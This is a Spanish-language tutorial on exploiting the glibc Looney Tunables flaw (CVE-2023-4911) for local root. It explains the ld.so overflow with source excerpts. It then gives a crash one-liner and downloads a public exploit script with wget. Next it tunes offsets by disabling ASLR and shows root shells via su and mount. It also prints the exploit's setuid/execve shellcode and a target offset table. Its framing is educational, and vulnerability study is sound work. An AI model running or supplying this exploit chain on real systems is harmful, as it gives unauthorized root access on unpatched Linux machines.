Taller de escalada de privilegios locales de Looney Tunables (CVE-2023-4911) (solo con fines educativos)
En informática, un vinculador dinámico es la parte de un sistema operativo que carga y vincula las bibliotecas compartidas que necesita un ejecutable cuando se ejecuta, copiando el contenido de las bibliotecas del almacenamiento persistente a la RAM, llenando tablas de salto y reubicando punteros.
Por ejemplo, tenemos un programa que utiliza la biblioteca openssl para calcular el hash md5:
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so analiza el binario e intenta encontrar una biblioteca relacionada con <openssl/md5.h>
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
Como podemos ver, encuentra la biblioteca criptográfica necesaria en /lib/x86_64-linux-gnu/libcrypto.so.3 Durante el inicio del programa, coloca el código de esta biblioteca en la RAM del proceso y vincula todas las referencias a esta biblioteca.
Cuando se inicia un programa, este cargador primero examina el programa para determinar las bibliotecas compartidas que requiere. Luego busca estas bibliotecas, las carga en la memoria y las vincula con el ejecutable en tiempo de ejecución. En el proceso, el cargador dinámico resuelve referencias de símbolos, como referencias de funciones y variables, asegurando que todo esté configurado para la ejecución del programa. Dada su función, el cargador dinámico es muy sensible a la seguridad, ya que su código se ejecuta con privilegios elevados cuando un usuario local inicia un programa set-user-ID o set-group-ID.
Los sintonizables son una característica de la biblioteca GNU C que permite a los autores de aplicaciones y mantenedores de distribución alterar el comportamiento de la biblioteca en tiempo de ejecución para que coincida con su carga de trabajo. Estos se implementan como un conjunto de interruptores que pueden modificarse de diferentes maneras. El método predeterminado actual para hacer esto es a través de la variable de entorno GLIBC_TUNABLES configurándola en una cadena de pares nombre=valor separados por dos puntos. Por ejemplo, el siguiente ejemplo habilita la verificación de malloc y establece el umbral de recorte de malloc en 128 bytes:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
Pasando --list-tunables al cargador dinámico para imprimir todos los ajustables con valores mínimos y máximos:
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
Al comienzo de su ejecución, ld.so llama a __tunables_init() para recorrer el entorno (en la línea 279), buscando variables GLIBC_TUNABLES (en la línea 282); para cada GLIBC_TUNABLES que encuentra, hace una copia de esta variable (en la línea 284), llama a parse_tunables() para procesar y desinfectar esta copia (en la línea 286) y finalmente reemplaza el GLIBC_TUNABLES original con esta copia desinfectada (en la línea 288 ):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } El primer argumento de parse_tunables() (tunestr) apunta a la copia de GLIBC_TUNABLES que pronto será desinfectada, mientras que el segundo argumento (valstring) apunta a la variable de entorno GLIBC_TUNABLES original (en la pila). Para desinfectar la copia de GLIBC_TUNABLES (que debe tener el formato "tunable1= aaa:tunable2=bbb" ), parse_tunables() elimina todos los sintonizables peligrosos (los sintonizables SXID_ERASE) de tunestr, pero mantiene los sintonizables SXID_IGNORE y NONE (en las líneas 221- 235):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }Desafortunadamente, si una variable de entorno GLIBC_TUNABLES tiene la forma "tunable1=tunable2=AAA" (donde "tunable1" y "tunable2" son sintonizables SXID_IGNORE, por ejemplo "glibc.malloc.mxfast"), entonces:
durante la primera iteración de " while (true)" en parse_tunables(), todo el "tunable1=tunable2=AAA" se copia in situ en tunestr (en las líneas 221-235), llenando así tunestr;
en las líneas 247-248, p no se incrementa (p[len] es ' ' porque no se encontró ':' en las líneas 203-204) y por lo tanto p todavía apunta al valor de "tunable1", es decir, "tunable2= AAA";
durante la segunda iteración de " while (true)" en parse_tunables(), se añade "tunable2=AAA" (como si fuera un segundo sintonizable) a tunestr (que ya está lleno), desbordando así tunestr.
Dominio:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)Carga útil:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
Longitud -> 8236 bytes
Esta vulnerabilidad es un simple desbordamiento del búfer, pero ¿qué debemos sobrescribir para lograr la ejecución de código arbitrario? El búfer que desbordamos se asigna en la línea 284 mediante tunables_strdup(), una reimplementación de strdup() que usa __minimal_malloc() de ld.so en lugar de malloc() de glibc (de hecho, malloc() de glibc aún no se ha inicializado ). Esta implementación de __minimal_malloc() simplemente llama a mmap() para obtener más memoria del kernel.
Echemos un vistazo a este código:
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ ld.so asigna la memoria para esta estructura link_map con calloc() y, por lo tanto, no inicializa explícitamente varios de sus miembros a cero; esta es una optimización razonable. Como se mencionó anteriormente, calloc() aquí no es calloc() de glibc sino __minimal_calloc() de ld.so, que llama a __minimal_malloc() sin inicializar explícitamente la memoria que devuelve a cero; Esta también es una optimización razonable, porque para todos los efectos, __minimal_malloc() siempre devuelve una porción limpia de memoria mmap(), que se garantiza que el núcleo la inicializará a cero.
Desafortunadamente, el desbordamiento del búfer en parse_tunables() nos permite sobrescribir la memoria limpia mmap() con bytes distintos de cero, sobrescribiendo así los punteros de la estructura link_map que próximamente se asignará con valores no NULL. Esto nos permite romper completamente la lógica de ld.so, que supone que estos punteros son NULL.
Nos dimos cuenta de que muchos más punteros en la estructura link_map no se inicializan explícitamente en NULL; en particular, los punteros a estructuras Elf64_Dyn en la matriz de punteros l_info[]. Entre ellos,
l_info[DT_RPATH], la "Ruta de búsqueda de la biblioteca", se destacó inmediatamente: si sobrescribimos este puntero y controlamos dónde y a qué apunta, entonces podemos forzar a ld.so a confiar en un directorio de nuestra propiedad y, por lo tanto, cargar nuestra propia biblioteca libc.so.6 o LD_PRELOAD desde este directorio y ejecutar código arbitrario (como root, si ejecutamos ld.so a través de un programa SUID-root).
¿A dónde debería apuntar el
l_info[DT_RPATH]sobrescrito? La respuesta fácil a esta pregunta es: la pila; más precisamente, las cadenas de nuestro entorno en la pila. En Linux, la pila es aleatoria en una región de 16 GB, y nuestras cadenas de entorno pueden ocupar hasta 6 MB (_STK_LIM / 4 * 3, en bprm_stack_limits() del kernel): después de 16 GB / 6 MB = 2730 intentos, tenemos buenas posibilidades de adivinar. la dirección de nuestras cadenas de entorno (en nuestro exploit, siempre sobrescribimosl_info[DT_RPATH]con 0x7ffdfffff010, el centro de la región de pila aleatoria). En nuestras pruebas, esta fuerza bruta tarda ~30 segundos en Debian y ~5 minutos en Ubuntu y Fedora (debido a sus controladores automáticos de fallos, Apport y ABRT; no hemos intentado solucionar esta desaceleración).
¿A qué debería apuntar el l_info[DT_RPATH] sobrescrito? En nuestro exploit, simplemente llenamos nuestros 6 MB de cadenas de entorno con 0xffffffffffffffff8 (-8), porque en un desplazamiento de -8B debajo de la tabla de cadenas de la mayoría de los programas raíz SUID, aparece la cadena "x08": esto fuerza ld.so confiar en un directorio relativo llamado "x08" (en nuestro directorio de trabajo actual) y, por lo tanto, nos permite cargar y ejecutar nuestra propia biblioteca libc.so.6 o LD_PRELOAD desde este directorio, como raíz.
Esquema:
Estoy usando mi antigua instantánea de Kali Linux para probar PoC. Comprobemos si es vulnerable:
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/s¡Tenemos SIGSEGV, por lo que nuestro sistema es vulnerable a este CVE LPE!
Descarguemos el script PoC y probémoslo:
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
Entonces, nuestra identificación de compilación ld.so no está en la lista de objetivos, ¡arreglémoslo! Desactivar ASLR:
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "Compruébalo de nuevo:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
Entonces, nuestro script POC encuentra algún desplazamiento útil, agreguemos nuestro ID de compilación ld.so y desplazamiento al script: Devolver ASLR:
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "Probemos nuevamente el script PoC:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
¡Funciona!
También está trabajando con otros archivos SUID:
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
Al comienzo del script PoC tenemos el diccionario ARCH con algunas arquitecturas de procesador (dejé solo x86_64 como lo uso). En este diccionario tenemos
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}Desmontaje del código Shell
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscallDesmontaje del código de salida
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscallA continuación tenemos un diccionario con objetivos (ld.so build id) y sus compensaciones de desbordamiento de búfer.
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}Luego, hay muchas funciones que reciben nombres según lo que hacen y, en su mayoría, pueden reemplazarse por métodos de la biblioteca pwntools. Así que no veo el sentido de discutirlos en detalle, excepto algunos de ellos.
